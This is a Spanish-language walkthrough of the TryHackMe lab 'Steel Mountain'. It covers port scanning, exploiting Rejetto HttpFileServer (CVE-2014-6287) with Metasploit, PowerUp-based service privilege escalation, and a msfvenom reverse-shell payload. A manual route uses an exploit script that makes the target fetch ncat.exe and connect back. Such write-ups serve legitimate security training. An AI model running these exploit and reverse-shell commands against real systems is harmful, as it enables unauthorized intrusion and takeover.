Steel Mountain [TryHackMe]

2023-08-28

Introducción

Steel Mountain es la cuarta máquina de la serie “Offensive Pentesting” de TryHackMe. Es una sala fácil que tiene como objetivo aprender sobre escalada de privilegios en un entorno Windows comprometido. En esta máquina, se explora la explotación de una vulnerabilidad conocida en un servidor web, se obtiene acceso inicial, se explora la enumeración y finalmente se logra escalar privilegios para obtener control total sobre la máquina.

Task 1 - Desplegar la máquina

Paso 1: Desplegar la máquina

  • Accedo a la plataforma TryHackMe y despliego la máquina Steel Mountain.

Task 2 - Acceso Inicial

Paso 1: Escaneo de Puertos con Nmap

  • Realizo un escaneo de puertos en la máquina objetivo utilizando Nmap.

  • Comandos utilizados:

    sudo nmap -sS --min-rate 5000 -p- 10.10.25.83 -Pn -v -oN nmap_inicial
    

Paso 2: Identificar el Servidor Web en el Puerto 8080

  • Escaneo el servidor web en el puerto 8080 para obtener más información.

  • Comandos utilizados:

    nmap -p8080 -sC -sV 10.10.25.83 -Pn -oN nmap_final
    

Paso 3: Identificar la CVE para el Servidor HttpFileServer

  • Busco sobre el servidor Rejetto en Exploit-DB y encuentro la CVE-2014-6287 asociada al servidor HttpFileServer 2.3.

Paso 4: Explotación del Servidor HttpFileServer

  • Utilizo Metasploit para explotar la vulnerabilidad en el servidor Rejetto HttpFileServer.

  • Comandos utilizados:

    msf6 > use exploit/windows/http/rejetto_hfs_exec
    msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 10.10.25.83
    msf6 exploit(windows/http/rejetto_hfs_exec) > set RPORT 8080
    msf6 exploit(windows/http/rejetto_hfs_exec) > set LHOST tun0
    msf6 exploit(windows/http/rejetto_hfs_exec) > run
    

Task 3 - Privilege Escalation

Paso 1: Enumerar la Máquina Comprometida

  • Después de obtener acceso, realizo una enumeración inicial de la máquina comprometida.

Paso 2: Escalar Privilegios como Usuario Bill

  • Utilizo el script PowerUp.ps1 para buscar vulnerabilidades de escalada de privilegios.

  • Comandos utilizados:

    . .\\PowerUp.ps1
    Invoke-AllChecks
    

Paso 3: Identificar el Servicio Vulnerable

  • Examino la salida de PowerUp y encuentro información sobre el servicio vulnerable “AdvancedSystemCareService9”.

Paso 4: Generar y Ejecutar un Payload Malicioso

  • Genero un payload con msfvenom y lo ejecuto en la máquina comprometida.

  • Comandos utilizados:

    sudo msfvenom -p windows/shell_reverse_tcp LHOST=tu_IP LPORT=4455 -f exe -o Advanced.exe
    

Paso 5: Resultado

  • Con éxito, obtengo privilegios y gano acceso de administrador en la máquina comprometida.

Task 4 - Access and Escalation Without Metasploit

Paso 4.1: Descargar el Exploit y ncat.exe

  • Descargo el exploit y nc.exe en mi máquina local.

Paso 4.2: Iniciar un Servidor HTTP en mi Máquina Local

  • Inicio un servidor HTTP en mi máquina local con python para servir los archivos necesarios a la máquina objetivo.

  • Comandos utilizados:

    python3 -m http.server 80
    

Paso 4.3: Preparar un Listener de Netcat

  • Preparo un listener de Netcat en mi máquina local para recibir la conexión inversa desde la máquina objetivo.

  • Comandos utilizados:

    nc -lvnp 1234
    

Paso 4.4: Ejecutar el Exploit Dos Veces en la Máquina Objetivo

  • Ejecuto el exploit dos veces contra la máquina objetivo para descargar ncat.exe y luego ejecuto el payload.

  • Comandos utilizados:

    sudo python2 exploit.py 10.10.192.191 8080
    

Paso 4.5: Obtener una Conexión Inversa

  • Una vez que tengo una conexión inversa en mi listener, tengo acceso a la máquina objetivo como el usuario “bill” y ya puedo escalar privilegios como se hizo anteriormente.

Conclusion

“Steel Mountain” ha sido una máquina bastante divertida con tématica de Mr. Robot, una gran serie sobre hacking que es especialmente realista en los detalles técnicos. En esta máquina, tenemos la oportunidad de aprender más sobre la explotación de una vulnerabilidad conocida en un servidor web en un entorno Windows, obtener acceso mediante una shell inversa y escalar privilegios para obtener control total sobre la máquina con Metasploit y Meterpreter, además de poder hacer lo mismo con un exploit personalizado sin utilizar Metasploit.

(◕‿‿◕) Hack the planet!